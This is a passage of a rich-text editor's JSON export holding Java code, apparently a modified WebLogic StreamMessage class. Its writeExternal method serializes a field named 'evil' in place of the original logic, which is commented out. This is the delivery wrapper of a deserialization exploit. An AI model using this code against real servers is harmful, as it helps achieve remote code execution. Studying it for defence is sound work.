}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xFx4-1677058246548&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sRmK-1677058246547&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jNkA-1677058246550&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Dypf-1677058246549&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4acX-1677058246552&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fhPt-1677058246551&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xZxn-1677058246554&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xljf-1677058246553&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RGfR-1677058246556&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rYl8-1677058246555&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;osbl-1677058246558&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RC9y-1677058246557&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public String toString() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mvtd-1677058246560&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NCiw-1677058246559&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return \&#34;StreamMessage[\&#34; + this.getJMSMessageID() + \&#34;]\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tUbr-1677058246562&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;62kk-1677058246561&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;E9Rp-1677058246564&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;b4Xu-1677058246563&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;O7IF-1677058246566&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;voAk-1677058246565&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public void writeExternal(ObjectOutput var1) throws IOException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qDqf-1677058246568&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Cthu-1677058246567&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        super.writeExternal(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9MjD-1677058246570&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QwIU-1677058246569&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ByteArrayOutputStream var2 = new ByteArrayOutputStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;W10A-1677058246572&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;s2gq-1677058246571&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ObjectOutputStream var3 = new ObjectOutputStream(var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RAOS-1677058246574&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vaNc-1677058246573&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;s5fg-1677058246576&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kiTy-1677058246575&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var3.writeObject(this.evil);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pYcx-1677058246578&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9aWw-1677058246577&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var3.flush();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KFsR-1677058246580&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;agU3-1677058246579&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        byte[] var5 = var2.toByteArray();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;g0kS-1677058246582&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wmcW-1677058246581&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var1.writeByte(1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cYqg-1677058246584&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8sbH-1677058246583&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var1.writeInt(var5.length);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tuno-1677058246586&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;A9HD-1677058246585&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var1.write(var5);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OgVx-1677058246588&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DX7d-1677058246587&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9vCz-1677058246590&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GHhU-1677058246589&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//        int var3 = 2147483647;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bqgn-1677058246592&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TaLt-1677058246591&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//        ObjectOutput var2;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LElH-1677058246594&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GzCA-1677058246593&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//        if (var1 instanceof JMSObjectOutputWrapper) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;g6UP-1677058246596&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sgfB-1677058246595&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//            var3 = ((JMSObjectOutputWrapper)var1).getCompressionThreshold();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bIoJ-1677058246599&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gN4X-1677058246598&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//            var2 = ((JMSObjectOutputWrapper)var1).getInnerObjectOutput();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Gf61-1677058246601&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9t9h-1677058246600&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LYTZ-1677058246603&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xoBf-1677058246602&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//            var2 = var1;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DOUz-1677058246605&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;L33d-1677058246604&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Kw1w-1677058246607&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;daVi-1677058246606&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9Ian-1677058246609&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QQ0R-1677058246608&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//        byte var4;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;s3h6-1677058246611&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Yje0-1677058246610&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//        if (this.getVersion(var2) &gt;= 30) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ji2O-1677058246613&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JOcU-1677058246612&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//            var4 = (byte)(3 | (this.shouldCompress(var2, var3) ? -128 : 0));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vhr3-1677058246615&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;V7HL-1677058246614&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WHXF-1677058246617&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2p0G-1677058246616&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//            var4 = 2;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7nYV-1677058246619&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6zJH-1677058246618&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bpEY-1677058246621&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1sN6-1677058246620&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cjlD-1677058246623&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;f0Hf-1677058246622&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//        var2.writeByte(var4);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4F7q-1677058246625&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;acZS-1677058246624&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//        if (this.isCompressed()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7FmP-1677058246627&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8WOa-1677058246626&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//            if (var4 == 2) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;R42f-1677058246629&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;71Rs-1677058246628&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//                this.decompress().writeLengthAndData(var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JExS-1677058246631&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;873d-1677058246630&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//            } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;og13-1677058246633&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;seZd-1677058246632&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//                this.flushCompressedMessageBody(var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;u2pI-1677058246635&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OonM-1677058246634&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Imn8-1677058246637&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DO1z-1677058246636&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8tpC-1677058246639&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5K34-1677058246638&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hjMJ-1677058246641&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lZpz-1677058246640&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//            Object var5;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;d8OP-1677058246643&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lP9X-1677058246642&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//            if (this.bos != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Xr1O-1677058246645&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9Ptj-1677058246644&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//                var5 = this.bos;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;C9KD-1677058246647&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vLoF-1677058246646&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//            } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IoyY-1677058246649&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aAbc-1677058246648&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//                if (this.payload == null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xoFb-1677058246651&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tkar-1677058246650&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//                    var2.writeInt(0);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cFv5-1677058246653&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dGzk-1677058246652&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//                    return;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AKCb-1677058246655&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MTFm-1677058246654&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iMrV-1677058246657&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OrY8-1677058246656&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MlQI-1677058246659&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Mb5x-1677058246658&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//                var5 = this.payload;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;C28L-1677058246661&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qD59-1677058246660&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0OLg-1677058246663&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qmqZ-1677058246662&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6HWK-1677058246665&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Pzy5-1677058246664&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//            if ((var4 &amp; -128) != 0) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bYHx-1677058246667&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KmbW-1677058246666&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//                this.writeExternalCompressPayload(var2, (Payload)var5);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7KiL-1677058246669&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TNeR-1677058246668&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//            } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PdZo-1677058246671&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IKMf-1677058246670&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//                ((Payload)var5).writeLengthAndData(var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Qot4-1677058246673&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1Nkc-1677058246672&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MhD5-1677058246675&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;t0Dx-1677058246674&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6KXm-1677058246677&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sUCN-1677058246676&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uTeC-1677058246679&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QWlX-1677058246678&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RRi9-1677058246681&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hGqm-1677058246680&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jnCs-1677058246683&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WIuW-1677058246682&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public final void decompressMessageBody() throws JMSException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VorR-1677058246685&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uDql-1677058246684&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (this.isCompressed()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uK7q-1677058246688&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ptEg-1677058246687&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VjJQ-1677058246690&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wNZR-1677058246689&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.payload = 